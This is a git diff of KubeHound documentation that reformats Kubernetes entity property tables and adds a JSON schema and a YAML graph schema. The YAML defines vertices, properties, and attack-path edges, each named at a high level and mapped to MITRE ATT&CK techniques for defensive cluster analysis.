a/docs/reference/entities/endpoint.md +++ b/docs/reference/entities/endpoint.md @@ -4,28 +4,29 @@ A network endpoint exposed by a container accessible via a Kubernetes service, e ## Properties -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| name | `string` | Unique endpoint name | -| serviceEndpoint | `string` | Name of the service if the endpoint is exposed outside the cluster via an endpoint slice | -| serviceDns | `string` | FQDN of the service if the endpoint is exposed outside the cluster via an endpoint slice | -| addressType | `string` | Type of the addresses array (IPv4, IPv6, etc) | -| addresses | `string` | Array of addresses exposing the endpoint | -| port | `int` | Exposed port of the endpoint | -| portName | `string` | Name of the exposed port | -| protocol | `string` | Endpoint protocol (TCP, UDP, etc) | -| exposure | `string` | Enum value describing the level of exposure of the endpoint (see [EndpointExposureType](https://github.com/DataDog/KubeHound/tree/main/pkg/kubehound/models/shared/constants.go)) | - +| Property | Type | Description | +| --------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | `string` | Unique endpoint name | +| serviceEndpoint | `string` | Name of the service if the endpoint is exposed outside the cluster via an endpoint slice | +| serviceDns | `string` | FQDN of the service if the endpoint is exposed outside the cluster via an endpoint slice | +| addressType | `string` | Type of the addresses array (IPv4, IPv6, etc) | +| addresses | `string` | Array of addresses exposing the endpoint | +| port | `int` | Exposed port of the endpoint | +| portName | `string` | Name of the exposed port | +| protocol | `string` | Endpoint protocol (TCP, UDP, etc) | +| exposure | `string` | Enum value describing the level of exposure of the endpoint (see [EndpointExposureType](https://github.com/DataDog/KubeHound/tree/main/pkg/kubehound/models/shared/constants.go)) | ## Common Properties -+ [storeID](./common.md#store-information) + [app](./common.md#ownership-information) -+ [team](./common.md#ownership-information) -+ [service](./common.md#ownership-information) ++ [cluster](./common.md#run-information) + [compromised](./common.md#risk-information) -+ [namespace](./common.md#namespace-information) + [isNamespaced](./common.md#namespace-information) ++ [namespace](./common.md#namespace-information) ++ [runID](./common.md#run-information) ++ [service](./common.md#ownership-information) ++ [storeID](./common.md#store-information) ++ [team](./common.md#ownership-information) ## Definition diff --git a/docs/reference/entities/identity.md b/docs/reference/entities/identity.md index 4c9a901a3..a1af5c9a6 100644 --- a/docs/reference/entities/identity.md +++ b/docs/reference/entities/identity.md @@ -4,20 +4,22 @@ Identity represents a Kubernetes user or service account. ## Properties -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| name | `string` | Name of the identity principal in Kubernetes | -| type | `string` | Type of identity (user, serviceaccount, etc) | +| Property | Type | Description | +| -------- | -------- | ---------------------------------------------- | +| name | `string` | Name of the identity principal in Kubernetes | +| type | `string` | Type of identity (user, serviceaccount, group) | ## Common Properties -+ [storeID](./common.md#store-information) + [app](./common.md#ownership-information) -+ [team](./common.md#ownership-information) -+ [service](./common.md#ownership-information) ++ [cluster](./common.md#run-information) + [critical](./common.md#risk-information) -+ [namespace](./common.md#namespace-information) + [isNamespaced](./common.md#namespace-information) ++ [namespace](./common.md#namespace-information) ++ [runID](./common.md#run-information) ++ [service](./common.md#ownership-information) ++ [storeID](./common.md#store-information) ++ [team](./common.md#ownership-information) ## Definition diff --git a/docs/reference/entities/index.md b/docs/reference/entities/index.md index 5fab082f3..b380693f5 100644 --- a/docs/reference/entities/index.md +++ b/docs/reference/entities/index.md @@ -7,17 +7,19 @@ hide: Tne entities represents all the vertices in KubeHound graph model. Those are an abstract representation of a Kubernetes component that form the vertices of the graph. -!!! Note - For instance: [PERMISSION_SET](./permissionset.md) is an abstract of Role and RoleBinding. +## Entities + +!!! note + For instance: [PERMISSION_SET](./permissionset.md) is an abstract of Role and RoleBinding. -| ID | Description | -| :----: | :-----------------: | -| [COMMON](./common.md) | Common properties can be set on any vertices within the graph. | -| [CONTAINER](./container.md) | A container image running on a Kubernetes pod. Containers in a Pod are co-located and co-scheduled to run on the same node. | -| [ENDPOINT](./endpoint.md) | A network endpoint exposed by a container accessible via a Kubernetes service, external node port or cluster IP/port tuple. | -| [IDENTITY](./identity.md) | Identity represents a Kubernetes user or service account.| -| [NODE](./node.md) | A Kubernetes node. Kubernetes runs workloads by placing containers into Pods to run on Nodes. A node may be a virtual or physical machine, depending on the cluster. | -| [PERMISSION_SET](./permissionset.md) | A permission set represents a Kubernetes RBAC `Role` or `ClusterRole`, which contain rules that represent a set of permissions that has been bound to an identity via a `RoleBinding` or `ClusterRoleBinding`. Permissions are purely additive (there are no "deny" rules). | -| [POD](./pod.md) | A Kubernetes pod - the smallest deployable units of computing that you can create and manage in Kubernetes. | -| [Volume](./volume.md) | Volume represents a volume mounted in a container and exposed by a node. | +| ID | Description | +| :----------------------------------: | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | +| [COMMON](./common.md) | Common properties can be set on any vertices within the graph. | +| [CONTAINER](./container.md) | A container image running on a Kubernetes pod. Containers in a Pod are co-located and co-scheduled to run on the same node. | +| [ENDPOINT](./endpoint.md) | A network endpoint exposed by a container accessible via a Kubernetes service, external node port or cluster IP/port tuple. | +| [IDENTITY](./identity.md) | Identity represents a Kubernetes user or service account. | +| [NODE](./node.md) | A Kubernetes node. Kubernetes runs workloads by placing containers into Pods to run on Nodes. A node may be a virtual or physical machine, depending on the cluster. | +| [PERMISSION_SET](./permissionset.md) | A permission set represents a Kubernetes RBAC `Role` or `ClusterRole`, which contain rules that represent a set of permissions that has been bound to an identity via a `RoleBinding` or `ClusterRoleBinding`. Permissions are purely additive (there are no "deny" rules). | +| [POD](./pod.md) | A Kubernetes pod - the smallest deployable units of computing that you can create and manage in Kubernetes. | +| [Volume](./volume.md) | Volume represents a volume mounted in a container and exposed by a node. | diff --git a/docs/reference/entities/node.md b/docs/reference/entities/node.md index 162c7d034..13e57dc50 100644 --- a/docs/reference/entities/node.md +++ b/docs/reference/entities/node.md @@ -4,20 +4,22 @@ A Kubernetes node. Kubernetes runs workloads by placing containers into Pods to ## Properties -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| name | `string` | Name of the node in Kubernetes | +| Property | Type | Description | +| -------- | -------- | ------------------------------ | +| name | `string` | Name of the node in Kubernetes | ## Common Properties -+ [storeID](./common.md#store-information) + [app](./common.md#ownership-information) -+ [team](./common.md#ownership-information) -+ [service](./common.md#ownership-information) ++ [cluster](./common.md#run-information) + [compromised](./common.md#risk-information) + [critical](./common.md#risk-information) -+ [namespace](./common.md#namespace-information) + [isNamespaced](./common.md#namespace-information) ++ [namespace](./common.md#namespace-information) ++ [runID](./common.md#run-information) ++ [service](./common.md#ownership-information) ++ [storeID](./common.md#store-information) ++ [team](./common.md#ownership-information) ## Definition @@ -26,4 +28,3 @@ A Kubernetes node. Kubernetes runs workloads by placing containers into Pods to ## References + [Official Kubernetes documentation](https://kubernetes.io/docs/concepts/architecture/nodes/) - diff --git a/docs/reference/entities/permissionset.md b/docs/reference/entities/permissionset.md index 8fc2edcc7..d7f97a30c 100644 --- a/docs/reference/entities/permissionset.md +++ b/docs/reference/entities/permissionset.md @@ -4,20 +4,22 @@ A permission set represents a Kubernetes RBAC `Role` or `ClusterRole`, which con ## Properties -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| name | `string` | Name of the underlying role in Kubernetes | -| rules | `[]string` | List of strings representing the access granted by the role (see generator function [flattenPolicyRules](https://github.com/DataDog/KubeHound/tree/main/pkg/kubehound/models/converter/graph.go))| +| Property | Type | Description | +| -------- | ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | `string` | Name of the underlying role in Kubernetes | +| rules | `[]string` | List of strings representing the access granted by the role (see generator function [flattenPolicyRules](https://github.com/DataDog/KubeHound/tree/main/pkg/kubehound/models/converter/graph.go)) | ## Common Properties -+ [storeID](./common.md#store-information) + [app](./common.md#ownership-information) -+ [team](./common.md#ownership-information) -+ [service](./common.md#ownership-information) ++ [cluster](./common.md#run-information) + [critical](./common.md#risk-information) -+ [namespace](./common.md#namespace-information) + [isNamespaced](./common.md#namespace-information) ++ [namespace](./common.md#namespace-information) ++ [runID](./common.md#run-information) ++ [service](./common.md#ownership-information) ++ [storeID](./common.md#store-information) ++ [team](./common.md#ownership-information) ## Definition @@ -26,4 +28,3 @@ A permission set represents a Kubernetes RBAC `Role` or `ClusterRole`, which con ## References + [Official Kubernetes documentation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) - diff --git a/docs/reference/entities/pod.md b/docs/reference/entities/pod.md index b34b6214c..49d90080b 100644 --- a/docs/reference/entities/pod.md +++ b/docs/reference/entities/pod.md @@ -4,23 +4,25 @@ A Kubernetes pod - the smallest deployable units of computing that you can creat ## Properties -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| name | `string` | Name of the pod in Kubernetes | -| shareProcessNamespace | `bool` | whether all the containers in the pod share a process namespace (details [here](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#pod-v1-core)) | -| serviceAccount | `string` | The name of the `serviceaccount` used to run this pod. See [Kubernetes documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) for further details | -| node | `string` | The name of the node running the pod | +| Property | Type | Description | +| --------------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | `string` | Name of the pod in Kubernetes | +| shareProcessNamespace | `bool` | whether all the containers in the pod share a process namespace (details [here](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#pod-v1-core)) | +| serviceAccount | `string` | The name of the `serviceaccount` used to run this pod. See [Kubernetes documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) for further details | +| node | `string` | The name of the node running the pod | ## Common Properties -+ [storeID](./common.md#store-information) + [app](./common.md#ownership-information) -+ [team](./common.md#ownership-information) -+ [service](./common.md#ownership-information) ++ [cluster](./common.md#run-information) + [compromised](./common.md#risk-information) + [critical](./common.md#risk-information) -+ [namespace](./common.md#namespace-information) + [isNamespaced](./common.md#namespace-information) ++ [namespace](./common.md#namespace-information) ++ [runID](./common.md#run-information) ++ [service](./common.md#ownership-information) ++ [storeID](./common.md#store-information) ++ [team](./common.md#ownership-information) ## Definition @@ -29,4 +31,3 @@ A Kubernetes pod - the smallest deployable units of computing that you can creat ## References + [Official Kubernetes documentation](https://kubernetes.io/docs/concepts/workloads/pods/) - diff --git a/docs/reference/entities/volume.md b/docs/reference/entities/volume.md index aa98d75b2..a3c7b32f1 100644 --- a/docs/reference/entities/volume.md +++ b/docs/reference/entities/volume.md @@ -4,22 +4,24 @@ Volume represents a volume mounted in a container and exposed by a node. ## Properties -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| name | `string` | Name of the volume mount in the container spec | -| type | `string` | Type of volume mount (host/projected/etc). See [Kubernetes documentation](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#volume-v1-core) for details | -| sourcePath | `string` | The path of the volume in the host (i.e node) filesystem | -| mountPath | `string` | The path of the volume in the container filesystem | -| readonly | `bool` | Whether the volume has been mounted with `readonly` access | +| Property | Type | Description | +| ---------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | `string` | Name of the volume mount in the container spec | +| type | `string` | Type of volume mount (host/projected/etc). See [Kubernetes documentation](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#volume-v1-core) for details | +| sourcePath | `string` | The path of the volume in the host (i.e node) filesystem | +| mountPath | `string` | The path of the volume in the container filesystem | +| readonly | `bool` | Whether the volume has been mounted with `readonly` access | ## Common Properties -+ [storeID](./common.md#store-information) + [app](./common.md#ownership-information) -+ [team](./common.md#ownership-information) -+ [service](./common.md#ownership-information) -+ [namespace](./common.md#namespace-information) ++ [cluster](./common.md#run-information) + [isNamespaced](./common.md#namespace-information) ++ [namespace](./common.md#namespace-information) ++ [runID](./common.md#run-information) ++ [service](./common.md#ownership-information) ++ [storeID](./common.md#store-information) ++ [team](./common.md#ownership-information) ## Definition @@ -28,4 +30,3 @@ Volume represents a volume mounted in a container and exposed by a node. ## References + [Official Kubernetes documentation](https://kubernetes.io/docs/concepts/storage/volumes/) - diff --git a/docs/reference/graph/graph.schema.json b/docs/reference/graph/graph.schema.json new file mode 100644 index 000000000..b3b32bb34 --- /dev/null +++ b/docs/reference/graph/graph.schema.json @@ -0,0 +1,262 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "$ref": "#/definitions/GraphSchema", + "definitions": { + "GraphSchema": { + "type": "object", + "additionalProperties": false, + "properties": { + "apiVersion": { + "type": "string" + }, + "kind": { + "type": "string" + }, + "metadata": { + "$ref": "#/definitions/Metadata" + }, + "spec": { + "$ref": "#/definitions/Spec" + } + }, + "required": [ + "apiVersion", + "kind", + "metadata", + "spec" + ], + "title": "GraphSchema" + }, + "Metadata": { + "type": "object", + "additionalProperties": false, + "properties": { + "name": { + "type": "string" + }, + "version": { + "type": "string" + } + }, + "required": [ + "name", + "version" + ], + "title": "Metadata" + }, + "Spec": { + "type": "object", + "additionalProperties": false, + "properties": { + "enums": { + "type": "array", + "items": { + "$ref": "#/definitions/Enum" + } + }, + "vertices": { + "type": "array", + "items": { + "$ref": "#/definitions/Vertex" + } + }, + "verticeProperties": { + "type": "array", + "items": { + "$ref": "#/definitions/VerticeProperty" + } + }, + "edges": { + "type": "array", + "items": { + "$ref": "#/definitions/Edge" + } + }, + "edgeProperties": { + "type": "array", + "items": {} + }, + "relationships": { + "type": "array", + "items": { + "$ref": "#/definitions/Relationship" + } + } + }, + "required": [ + "edgeProperties", + "edges", + "enums", + "relationships", + "verticeProperties", + "vertices" + ], + "title": "Spec" + }, + "Edge": { + "type": "object", + "additionalProperties": false, + "properties": { + "label": { + "type": "string" + }, + "description": { + "type": "string" + }, + "references": { + "type": "array", + "items": { + "$ref": "#/definitions/StandardRef" + } + } + }, + "required": [ + "description", + "label", + "references" + ], + "title": "Edge" + }, + "Vertex": { + "type": "object", + "additionalProperties": false, + "properties": { + "label": { + "type": "string" + }, + "description": { + "type": "string" + } + }, + "required": [ + "description", + "label" + ], + "title": "Vertex" + }, + "Enum": { + "type": "object", + "additionalProperties": false, + "properties": { + "label": { + "type": "string" + }, + "values": { + "type": "array", + "items": { + "type": "string" + } + } + }, + "required": [ + "label", + "values" + ], + "title": "Enum" + }, + "Relationship": { + "type": "object", + "additionalProperties": false, + "properties": { + "from": { + "$ref": "#/definitions/From" + }, + "to": { + "$ref": "#/definitions/From" + }, + "label": { + "type": "string" + } + }, + "required": [ + "from", + "label", + "to" + ], + "title": "Relationship" + }, + "VerticeProperty": { + "type": "object", + "additionalProperties": false, + "properties": { + "property": { + "type": "string" + }, + "type": { + "$ref": "#/definitions/Type" + }, + "labels": { + "type": "array", + "items": { + "$ref": "#/definitions/From" + } + }, + "description": { + "type": "string" + }, + "array": { + "type": "boolean" + }, + "example": { + "type": "string" + }, + "enum": { + "type": "string" + } + }, + "required": [ + "description", + "labels", + "property", + "type" + ], + "title": "VerticeProperty" + }, + "From": { + "type": "string", + "enum": [ + "Container", + "Endpoint", + "Identity", + "Node", + "PermissionSet", + "Pod", + "Volume" + ], + "title": "From" + }, + "StandardRef": { + "type": "object", + "additionalProperties": false, + "properties": { + "type": { + "type": "string", + "enum": [ + "ATTCK Technique", + "ATTCK Tactic" + ] + }, + "id": { + "type": "string" + }, + "label": { + "type": "string" + } + }, + "required": [ + "type", + "id" + ], + "title": "StandardRef" + }, + "Type": { + "type": "string", + "enum": [ + "STRING", + "INTEGER", + "BOOL" + ], + "title": "Type" + } + } +} diff --git a/docs/reference/graph/graph.yaml b/docs/reference/graph/graph.yaml new file mode 100644 index 000000000..4d3abda3e --- /dev/null +++ b/docs/reference/graph/graph.yaml @@ -0,0 +1,753 @@ +# yaml-language-server: $schema=graph.schema.json +apiVersion: app.kubehound.io/models/v1 +kind: GraphSchema +metadata: + name: Kubehound Graph Schema + version: v1 +spec: + # Define the enumerations used in properties. + enums: + - label: AddressType + values: + - IPv4 + - IPv6 + - label: Protocol + values: + - TCP + - UDP + - label: EndpointExposure + values: + - None + - ClusterIP + - NodeIP + - External + - Public + - label: IdentityType + values: + - User + - ServiceAccount + - Group + - label: VolumeType + values: + - HostPath + - EmptyDir + - ConfigMap + - Secret + - PersistentVolumeClaim + - Projected + - DownwardAPI + - CSI + - Ephemeral + - AzureDisk + - AzureFile + - CephFS + - Cinder + - FC + - FlexVolume + - Flocker + - GCEPersistentDisk + - Glusterfs + - ISCSI + - NFS + - PhotonPersistentDisk + - PortworxVolume + - Quobyte + - RBD + - ScaleIO + - StorageOS + - VsphereVolume + + # Define the vertices in the graph. + vertices: + - label: Container + description: >- + A container image running on a Kubernetes pod. Containers in a Pod are + co-located and co-scheduled to run on the same node. + - label: Endpoint + description: >- + A network endpoint exposed by a container accessible via a Kubernetes + service, external node port or cluster IP/port tuple. + - label: Identity + description: Identity represents a Kubernetes user or service account. + - label: Node + description: >- + A Kubernetes node. Kubernetes runs workloads by placing containers into + Pods to run on Nodes. A node may be a virtual or physical machine, + depending on the cluster. + - label: PermissionSet + description: >- + A permission set represents a Kubernetes RBAC Role or ClusterRole, which + contain rules that represent a set of permissions that has been bound to + an identity via a RoleBinding or ClusterRoleBinding. Permissions are + purely additive (there are no "deny" rules). + - label: Pod + description: >- + A Kubernetes pod - the smallest deployable units of computing that you can + create and manage in Kubernetes. + - label: Volume + description: Volume represents a volume mounted in a container and exposed by a node. + + # Define the properties for each vertex in the graph. + verticeProperties: + - property: app + type: STRING + labels: + - Container + - Endpoint + - Identity + - Node + - PermissionSet + - Pod + description: Internal app name extracted from object labels. + - property: cluster + type: STRING + labels: + - Container + - Endpoint + - Identity + - Node + - PermissionSet + - Pod + - Volume + description: Kubernetes cluster to which the entity belongs. + - property: compromised + type: INTEGER + labels: + - Container + - Endpoint + - Node + - Pod + description: Enum defining asset compromise for scenario-based simulations. + - property: critical + type: BOOL + labels: + - Identity + - Node + - PermissionSet + - Pod + description: >- + Whether the vertex is a critical asset within the cluster. Critical assets + form the termination condition of an attack path and represent an asset + that leads to complete cluster compromise. + - property: isNamespace + type: BOOL + labels: + - Container + - Endpoint + - Identity + - Node + - PermissionSet + - Pod + description: Whether or not the object has an associated namespace. + - property: namespace + type: STRING + labels: + - Container + - Endpoint + - Identity + - Node + - PermissionSet + - Pod + description: Kubernetes namespace to which the object (or its parent) belongs. + - property: runID + type: STRING + labels: + - Container + - Endpoint + - Identity + - Node + - PermissionSet + - Pod + - Volume + description: Unique ULID identifying a KubeHound run. + - property: service + type: STRING + labels: + - Container + - Endpoint + - Identity + - Node + - PermissionSet + - Pod + description: Internal service name extracted from object labels. + - property: storeID + type: STRING + labels: + - Container + - Endpoint + - Identity + - Node + - PermissionSet + - Pod + description: >- + Unique store database identifier of the store objected generating the + vertex. + - property: team + type: STRING + labels: + - Container + - Endpoint + - Identity + - Node + - PermissionSet + - Pod + description: Internal team name extracted from object labels. + - property: name + type: STRING + labels: + - Container + description: Name of the container in Kubernetes. + - property: image + type: STRING + labels: + - Container + description: Docker the image run by the container. + - property: command + type: STRING + array: true + labels: + - Container + description: List of command used as the container entrypoint. + - property: args + type: STRING + array: true + labels: + - Container + description: List of arguments passed to the container. + - property: capabilities + type: STRING + array: true + labels: + - Container + description: >- + List of additional capabilities added to the container via k8s + securityContext. + example: 'CAP_NET_ADMIN,CAP_SYS_TIME' + - property: privilegied + type: BOOL + labels: + - Container + description: Whether the container is run in privileged mode. + - property: privesc + type: BOOL + labels: + - Container + description: Whether the container can gain more privileges than its parent process. + - property: hostPid + type: BOOL + labels: + - Container + description: Whether the container can access the host's PID namespace. + - property: hostIpc + type: BOOL + labels: + - Container + description: Whether the container can access the host's IPC namespace. + - property: hostNetwork + type: BOOL + labels: + - Container + description: Whether the container can access the host's network namespace. + - property: runAsUser + type: INTEGER + labels: + - Container + description: The user account uid the container is running under e.g 0 for root. + - property: ports + type: STRING + array: true + labels: + - Container + description: List of ports exposed by the container. + example: '8080,8443' + - property: pod + type: STRING + labels: + - Container + description: The name of the pod running the container. + - property: node + type: STRING + labels: + - Container + description: The name of the node running the container. + - property: name + type: STRING + labels: + - Endpoint + description: Unique endpoint name. + - property: serviceEndpoint + type: STRING + labels: + - Endpoint + description: >- + Name of the service if the endpoint is exposed outside the cluster via an + endpoint slice. + - property: serviceDns + type: STRING + labels: + - Endpoint + description: >- + FQDN of the service if the endpoint is exposed outside the cluster via an + endpoint slice. + - property: addressType + type: STRING + labels: + - Endpoint + description: Type of the addresses array (IPv4 or IPv6). + enum: AddressType + - property: addresses + type: STRING + array: true + labels: + - Endpoint + description: Array of addresses exposing the endpoint. + example: 172.17.8.24 + - property: port + type: INTEGER + labels: + - Endpoint + description: Port exposed by the endpoint. + - property: portName + type: STRING + labels: + - Endpoint + description: Name of the exposed port. + - property: protocol + type: STRING + labels: + - Endpoint + description: Endpoint protocol. + enum: Protocol + - property: exposure + type: STRING + labels: + - Endpoint + description: Enum value describing the level of exposure of the endpoint. + enum: EndpointExposure + - property: name + type: STRING + labels: + - Identity + description: Name of the identity principal in Kubernetes + - property: type + type: STRING + labels: + - Identity + description: Type of identity + enum: IdentityType + - property: name + type: STRING + labels: + - Node + description: Name of the node in Kubernetes. + - property: name + type: STRING + labels: + - PermissionSet + description: Name of the underlying role in Kubernetes + - property: role + type: STRING + labels: + - PermissionSet + description: Role name associated to the permission. + - property: roleBinding + type: STRING + labels: + - PermissionSet + description: Kubernetes role binding. + - property: rules + type: STRING + array: true + labels: + - PermissionSet + description: List of rules associated with the permission set. + - property: name + type: STRING + labels: + - Pod + description: Name of the pod in Kubernetes. + - property: shareProcessNamespace + type: BOOL + labels: + - Pod + description: Whether all the containers in the pod share a process namespace. + - property: serviceAccount + type: STRING + labels: + - Pod + description: The name of the serviceaccount used to run this pod. + - property: node + type: STRING + labels: + - Pod + description: The name of the node running the pod. + - property: name + type: STRING + labels: + - Volume + description: Name of the volume mount in the container spec. + - property: type + type: STRING + labels: + - Volume + description: Type of volume mount (host/projected/etc). + enum: VolumeType + - property: sourcePath + type: STRING + labels: + - Volume + description: The path of the volume in the host (i.e node) filesystem. + - property: mountPath + type: STRING + labels: + - Volume + description: The path where the volume is mounted in the container. + - property: readOnly + type: BOOL + labels: + - Volume + description: Whether the volume is mounted in read-only mode. + + # Define the edges in the graph. + edges: + - label: CE_MODULE_LOAD + description: A container can load a kernel module on the node. + references: + - type: ATTCK Technique + id: T1611 + label: Escape to Host + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: CE_NSENTER + description: >- + Container escape via the nsenter built-in linux program that allows + executing a binary into another namespace. + references: + - type: ATTCK Technique + id: T1611 + label: Escape to Host + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: CE_PRIV_MOUNT + description: >- + Mount the host disk and gain access to the host via arbitrary filesystem + write. + references: + - type: ATTCK Technique + id: T1611 + label: Escape to Host + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: CE_SYS_TRACE + description: >- + Given the requisite capabilities, abuse the legitimate OS debugging + mechanisms to escape the container via attaching to a node process. + references: + - type: ATTCK Technique + id: T1611 + label: Escape to Host + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: CE_UMH_CORE_PATTERN + description: >- + Abuse the User Mode Helper (UMH) mechanism to execute arbitrary code in + the host. + references: + - type: ATTCK Technique + id: T1611 + label: Escape to Host + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: CE_VAR_LOG_SYMLINK + description: Abuse the /var/log symlink to gain access to the host filesystem. + references: + - type: ATTCK Technique + id: T1611 + label: Escape to Host + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: CONTAINER_ATTACH + description: >- + Attach to a running container to execute commands or inspect the + container. + references: + - type: ATTCK Technique + id: T1609 + label: Container Administration Command + - type: ATTCK Tactic + id: TA0002 + label: Execution + - label: ENDPOINT_EXPLOIT + description: >- + Represents a network endpoint exposed by a container that could be + exploited by an attacker (via means known or unknown). This can correspond + to a Kubernetes service, node service, node port, or container port. + references: + - type: ATTCK Technique + id: T1210 + label: Exploitation of Remote Services + - type: ATTCK Tactic + id: TA0008 + label: Lateral Movement + - label: EXPLOIT_CONTAINERD_SOCK + description: Exploit the containerd socket to gain access to the host. + references: + - type: ATTCK Technique + id: T1610 + label: Deplay Container + - type: ATTCK Tactic + id: TA0002 + label: Execution + - label: EXPLOIT_HOST_READ + description: Read sensitive files on the host. + references: + - type: ATTCK Technique + id: T1611 + label: Escape to Host + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: EXPLOIT_HOST_TRAVERSE + description: >- + This attack represents the ability to steal a K8s API token from a + container via access to a mounted parent volume of the + /var/lib/kubelet/pods directory. + references: + - type: ATTCK Technique + id: T1552 + label: Unsecured Credentials + - type: ATTCK Tactic + id: TA0006 + label: Credentials Access + - label: EXPLOIT_HOST_WRITE + description: Write sensitive files on the host. + references: + - type: ATTCK Technique + id: T1611 + label: Escape to Host + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: IDENTITY_ASSUME + description: >- + Represents the capacity to act as an Identity via ownership of a service + account token, user PKI certificate, etc. + references: + - type: ATTCK Technique + id: T1078 + label: Valid Accounts + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: IDENTITY_IMPERSONATE + description: Impersonate an identity. + references: + - type: ATTCK Technique + id: T1078 + label: Valid Accounts + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: PERMISSION_DISCOVER + description: Discover permissions granted to an identity. + references: + - type: ATTCK Technique + id: T1069 + label: Permission Groups Discovery + - type: ATTCK Tactic + id: TA0007 + label: Discovery + - label: POD_ATTACH + description: Attach to a running pod to execute commands or inspect the pod. + references: + - type: ATTCK Technique + id: T1609 + label: Container Administration Command + - type: ATTCK Tactic + id: TA0002 + label: Execution + - label: POD_CREATE + description: Create a pod on a node. + references: + - type: ATTCK Technique + id: T1610 + label: Deploy Container + - type: ATTCK Tactic + id: TA0002 + label: Execution + - label: POD_EXEC + description: Execute a command in a pod. + references: + - type: ATTCK Technique + id: T1609 + label: Container Administration Command + - type: ATTCK Tactic + id: TA0002 + label: Execution + - label: POD_PATCH + description: Patch a pod on a node. + references: + - type: ATTCK Technique + id: T1609 + label: Container Administration Command + - type: ATTCK Tactic + id: TA0002 + label: Execution + - label: ROLE_BIND + description: Bind a role to an identity. + references: + - type: ATTCK Technique + id: T1078 + label: Valid Accounts + - type: ATTCK Tactic + id: TA0004 + label: Privilege Escalation + - label: SHARE_PS_NAMESPACE + description: All containers in a pod share the same process namespace. + references: + - type: ATTCK Technique + id: T1080 + label: Taint Shared Content + - type: ATTCK Tactic + id: TA0008 + label: Lateral Movement + - label: TOKEN_BRUTEFORCE + description: Bruteforce a token. + references: + - type: ATTCK Technique + id: T1528 + label: Steal Application Access Token + - type: ATTCK Tactic + id: TA0006 + label: Credentials Access + - label: TOKEN_LIST + description: List tokens. + references: + - type: ATTCK Technique + id: T1528 + label: Steal Application Access Token + - type: ATTCK Tactic + id: TA0006 + label: Credentials Access + - label: TOKEN_STEAL + description: >- + This attack represents the ability to steal a K8s API token from an + accessible volume. + references: + - type: ATTCK Technique + id: T1552 + label: Unsecured Credentials + - type: ATTCK Tactic + id: TA0006 + label: Credentials Access + - label: VOLUME_ACCESS + description: Access a volume mounted in a container. + references: + - type: ATTCK Technique + id: T1613 + label: Container and Resource Discovery + - type: ATTCK Tactic + id: TA0007 + label: Discovery + - label: VOLUME_DISCOVER + description: Discover volumes mounted in a container. + references: + - type: ATTCK Technique + id: T1613 + label: Container and Resource Discovery + - type: ATTCK Tactic + id: TA0007 + label: Discovery + + # Define the properties for each edge in the graph. + edgeProperties: [] + + # Define the relationships between vertices and edges in the graph. + relationships: + - from: Container + to: Container + label: SHARE_PS_NAMESPACE + - from: Container + to: Node + label: CE_MODULE_LOAD + - from: Container + to: Container + label: CE_NSENTER + - from: Container + to: Node + label: CE_PRIV_MOUNT + - from: Container + to: Node + label: CE_SYS_TRACE + - from: Container + to: Node + label: CE_UMH_CORE_PATTERN + - from: Container + to: Node + label: CE_VAR_LOG_SYMLINK + - from: Container + to: Node + label: EXPLOIT_HOST_READ + - from: Container + to: Node + label: EXPLOIT_HOST_WRITE + - from: Container + to: Container + label: EXPLOIT_CONTAINERD_SOCK + - from: Container + to: Identity + label: IDENTITY_ASSUME + - from: Container + to: Volume + label: VOLUME_DISCOVER + - from: Pod + to: Container + label: CONTAINER_ATTACH + - from: Endpoint + to: Container + label: ENDPOINT_EXPLOIT + - from: Identity + to: PermissionSet + label: PERMISSION_DISCOVER + - from: Volume + to: Volume + label: EXPLOIT_HOST_TRAVERSE + - from: Volume + to: Identity + label: TOKEN_STEAL + - from: Node + to: Identity + label: IDENTITY_ASSUME + - from: Node + to: Pod + label: POD_ATTACH + - from: Node + to: Volume + label: VOLUME_ACCESS + - from: PermissionSet + to: Identity + label: IDENTITY_IMPERSONATE + - from: PermissionSet + to: Node + label: POD_CREATE + - from: PermissionSet + to: Node + label: POD_EXEC + - from: PermissionSet + to: Node + label: POD_PATCH + - from: PermissionSet + to: PermissionSet + label: ROLE_BIND + - from: PermissionSet + to: Identity + label: TOKEN_BRUTEFORCE + - from: PermissionSet + to: Identity + label: TOKEN_LIST diff --git a/docs/reference/graph/index.md b/docs/reference/graph/index.md new file mode 100644 index 000000000..5a8b36cf9 --- /dev/null +++ b/docs/reference/graph/index.md @@ -0,0 +1,21 @@ +--- +hide: + - toc +--- + +# Reference + +## Graph model + +In the diagram below, you can see how the KubeHound graph model organizes entities +as nodes and attack paths as the edges that connect them. This structure not only +makes it easier to visualize the attack surface but also powers Gremlin queries +to actively explore and analyze security weaknesses across your Kubernetes +infrastructure. + +![Graph Model](../../images/graph-model.drawio.png) + +## Graph Database + +- [JanusGraph 